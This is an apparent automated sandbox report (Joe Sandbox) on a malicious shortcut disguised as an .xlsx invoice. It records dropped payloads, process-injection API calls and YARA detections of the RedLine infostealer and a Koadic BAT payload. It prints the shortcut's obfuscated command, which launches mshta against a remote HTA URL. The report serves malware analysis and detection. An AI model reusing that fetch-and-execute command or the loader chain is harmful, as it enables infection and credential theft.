Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Window created: window name: CLIPBRDWNDCLASS	Jump to behavior
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Window created: window name: CLIPBRDWNDCLASS
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Window created: window name: CLIPBRDWNDCLASS

Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_41D67A03 GetKeyState,GetKeyState,GetKeyState,		23_2_41D67A03
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_41D67A08 GetKeyState,GetKeyState,GetKeyState,		23_2_41D67A08

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi64_7800.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 23.2.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 25.1.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 25.1.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 23.1.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 27.2.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 25.2.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 27.1.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 23.2.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 23.1.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 27.2.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 27.1.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 25.2.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000019.00000001.1624046151.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000019.00000002.1732584170.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000001B.00000002.2524457336.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0000001B.00000001.1707928386.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 00000017.00000002.1639938993.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7688, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 7800, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: C:\Users\Public\Libraries\UcvuiswbO.bat, type: DROPPED	Matched rule: Koadic post-exploitation framework BAT payload Author: ditekSHen

Found URL in windows shortcut file (LNK)

Source: Initial file

Strings: https://www.sessosesso.it/assets/aw/yt.htaAC:

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\uc.exe

Jump to dropped file

Windows shortcut file (LNK) contains suspicious command line arguments

Source: FT. 40FE CNY .xlsx.lnk

LNK file: .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://www.sessosesso.it/assets/aw/yt.hta

Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_0299C3F8 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	19_2_0299C3F8
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_0299C368 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	19_2_0299C368
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_0299C4DC RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	19_2_0299C4DC
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_02997AC0 LoadLibraryW,GetProcAddress,NtWriteVirtualMemory,FreeLibrary,	19_2_02997AC0
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_02997968 GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory,	19_2_02997968
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_02997F48 CreateProcessAsUserW,GetThreadContext,Wow64GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	19_2_02997F48
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_0299C3F6 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	19_2_0299C3F6
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_02997966 GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory,	19_2_02997966
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_02997F46 CreateProcessAsUserW,GetThreadContext,Wow64GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	19_2_02997F46
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Code function: 24_2_028BC4DC RtlDosPathNameToNtPathName_U,NtOpenFile,NtReadFile,NtClose,	24_2_028BC4DC
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Code function: 24_2_028B7AC0 LoadLibraryW,GetProcAddress,NtWriteVirtualMemory,FreeLibrary,	24_2_028B7AC0
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Code function: 24_2_028B7968 GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory,	24_2_028B7968
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Code function: 24_2_028B7F48 CreateProcessAsUserW,GetThreadContext,Wow64GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	24_2_028B7F48
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Code function: 24_2_028BC3F8 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	24_2_028BC3F8
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Code function: 24_2_028BC3F6 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	24_2_028BC3F6
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Code function: 24_2_028BC368 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	24_2_028BC368
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Code function: 24_2_028B7966 GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory,	24_2_028B7966
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Code function: 24_2_028B7F46 CreateProcessAsUserW,GetThreadContext,Wow64GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	24_2_028B7F46

Source: C:\Users\user\AppData\Roaming\uc.exe

Code function: 19_2_0299CA6C CreateProcessAsUserW,WaitForSingleObject,CloseHandle,CloseHandle,

19_2_0299CA6C

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 15_2_00007FFAAB970E65	15_2_00007FFAAB970E65
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFAAB955F80	17_2_00007FFAAB955F80
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFAAB9834B8	17_2_00007FFAAB9834B8
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFAAB95BC90	17_2_00007FFAAB95BC90
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFAAB95BC35	17_2_00007FFAAB95BC35
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFAAB95BB3B	17_2_00007FFAAB95BB3B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFAAB95E318	17_2_00007FFAAB95E318
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFAAB95BA99	17_2_00007FFAAB95BA99
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFAAB95DFE0	17_2_00007FFAAB95DFE0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFAAB96CEA0	17_2_00007FFAAB96CEA0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFAABA2362E	17_2_00007FFAABA2362E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 17_2_00007FFAABA232A0	17_2_00007FFAABA232A0
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: 19_2_029820C4	19_2_029820C4
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_00408C60	23_2_00408C60
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_0040DC11	23_2_0040DC11
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_00407C3F	23_2_00407C3F
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_00418CCC	23_2_00418CCC
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_00406CA0	23_2_00406CA0
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_004028B0	23_2_004028B0
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_0041A4BE	23_2_0041A4BE
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_00418244	23_2_00418244
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_00401650	23_2_00401650
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_00402F20	23_2_00402F20
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_004193C4	23_2_004193C4
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_00418788	23_2_00418788
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_00402F89	23_2_00402F89
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_00402B90	23_2_00402B90
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_004073A0	23_2_004073A0
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_3D941030	23_2_3D941030
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_3D941020	23_2_3D941020
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_411B99A0	23_2_411B99A0
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_411B1220	23_2_411B1220
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_411B1AF0	23_2_411B1AF0
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_411BCD30	23_2_411BCD30
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_411B0ED8	23_2_411B0ED8
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_411B3EDF	23_2_411B3EDF
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_411B3EF0	23_2_411B3EF0
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_41454570	23_2_41454570
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_41450040	23_2_41450040
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_414560F0	23_2_414560F0
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_41453370	23_2_41453370
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_4145F3D1	23_2_4145F3D1
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_41459B90	23_2_41459B90
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_4145ABB0	23_2_4145ABB0
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_4145D1A8	23_2_4145D1A8
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_41453AB7	23_2_41453AB7
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_41D65168	23_2_41D65168
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_2_41D60990	23_2_41D60990
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_1_00408C60	23_1_00408C60
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_1_0040DC11	23_1_0040DC11
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_1_00407C3F	23_1_00407C3F
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_1_00418CCC	23_1_00418CCC
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_1_00406CA0	23_1_00406CA0
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_1_004028B0	23_1_004028B0
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_1_0041A4BE	23_1_0041A4BE
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_1_00418244	23_1_00418244
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_1_00401650	23_1_00401650
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_1_00402F20	23_1_00402F20
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_1_004193C4	23_1_004193C4
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_1_00418788	23_1_00418788
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_1_00402F89	23_1_00402F89
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_1_00402B90	23_1_00402B90
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 23_1_004073A0	23_1_004073A0
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Code function: 24_2_028A20C4	24_2_028A20C4
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_00408C60	25_2_00408C60
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_0040DC11	25_2_0040DC11
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_00407C3F	25_2_00407C3F
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_00418CCC	25_2_00418CCC
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_00406CA0	25_2_00406CA0
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_004028B0	25_2_004028B0
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_0041A4BE	25_2_0041A4BE
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_00418244	25_2_00418244
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_00401650	25_2_00401650
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_00402F20	25_2_00402F20
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_004193C4	25_2_004193C4
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_00418788	25_2_00418788
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_00402F89	25_2_00402F89
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_00402B90	25_2_00402B90
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_004073A0	25_2_004073A0
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_25B81030	25_2_25B81030
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_25B81020	25_2_25B81020
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_29439A58	25_2_29439A58
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_29431AF0	25_2_29431AF0
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_29430ED8	25_2_29430ED8
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_29433EEC	25_2_29433EEC
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_29433EF0	25_2_29433EF0
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_29431220	25_2_29431220
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_296DF3D1	25_2_296DF3D1
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_296DABB0	25_2_296DABB0
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_296D9B90	25_2_296D9B90
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_296D4570	25_2_296D4570
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_296D0680	25_2_296D0680
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_296DD1A8	25_2_296DD1A8
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_296D3AB7	25_2_296D3AB7
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_29CB15FC	25_2_29CB15FC
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_29CB15F0	25_2_29CB15F0
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_29FE0990	25_2_29FE0990
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: 25_2_29FE5168	25_2_29FE5168

Source: Joe Sandbox View	Dropped File: C:\Users\Public\Libraries\bwsiuvcU.pif 7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301
Source: Joe Sandbox View	Dropped File: C:\Users\Public\Libraries\easinvoker.exe 30951DB8BFC21640645AA9144CFEAA294BB7C6980EF236D28552B6F4F3F92A96

Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: String function: 0040D606 appears 72 times
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Code function: String function: 0040E1D8 appears 132 times
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Code function: String function: 028A6658 appears 32 times
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Code function: String function: 028A4698 appears 156 times
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Code function: String function: 028A4824 appears 629 times
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: String function: 029844A0 appears 67 times
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: String function: 02986658 appears 32 times
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: String function: 02984824 appears 883 times
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: String function: 02997BE8 appears 45 times
Source: C:\Users\user\AppData\Roaming\uc.exe	Code function: String function: 02984698 appears 247 times

Source: netutils.dll.19.dr

Static PE information: Number of sections : 19 > 10

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: amsi64_7800.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 23.2.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 25.1.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 25.1.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 23.1.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 27.2.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 25.2.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 27.1.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 23.2.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 23.1.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 27.2.bwsiuvcU.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 27.1.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 25.2.bwsiuvcU.pif.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000019.00000001.1624046151.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000019.00000002.1732584170.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000001B.00000002.2524457336.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000017.00000001.1494452738.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 0000001B.00000001.1707928386.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 00000017.00000002.1639938993.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: Process Memory Space: powershell.exe PID: 7688, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7800, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: C:\Users\Public\Libraries\UcvuiswbO.bat, type: DROPPED	Matched rule: MALWARE_BAT_KoadicBAT author = ditekSHen, description = Koadic post-exploitation framework BAT payload

Source: 23.2.bwsiuvcU.pif.3ee39b90.4.raw.unpack, wrQqF835PFmCSFtGtO.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 23.2.bwsiuvcU.pif.3ee39b90.4.raw.unpack, wrQqF835PFmCSFtGtO.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 23.2.bwsiuvcU.pif.3ee39b90.4.raw.unpack, wrQqF835PFmCSFtGtO.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 23.2.bwsiuvcU.pif.3ee39b90.4.raw.unpack, wrQqF835PFmCSFtGtO.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 23.2.bwsiuvcU.pif.40260f08.7.raw.unpack, wrQqF835PFmCSFtGtO.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 23.2.bwsiuvcU.pif.40260f08.7.raw.unpack, wrQqF835PFmCSFtGtO.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 23.2.bwsiuvcU.pif.40260f08.7.raw.unpack, wrQqF835PFmCSFtGtO.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 23.2.bwsiuvcU.pif.40260f08.7.raw.unpack, wrQqF835PFmCSFtGtO.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 23.2.bwsiuvcU.pif.3dad646e.2.raw.unpack, wrQqF835PFmCSFtGtO.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 23.2.bwsiuvcU.pif.3dad646e.2.raw.unpack, wrQqF835PFmCSFtGtO.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 23.2.bwsiuvcU.pif.3dad646e.2.raw.unpack, wrQqF835PFmCSFtGtO.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 23.2.bwsiuvcU.pif.3dad646e.2.raw.unpack, wrQqF835PFmCSFtGtO.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winLNK@26/26@5/4

Source: C:\Users\user\AppData\Roaming\uc.exe

Code function: 19_2_02987F90 GetDiskFreeSpaceA,

19_2_02987F90

Source: C:\Users\Public\Libraries\bwsiuvcU.pif

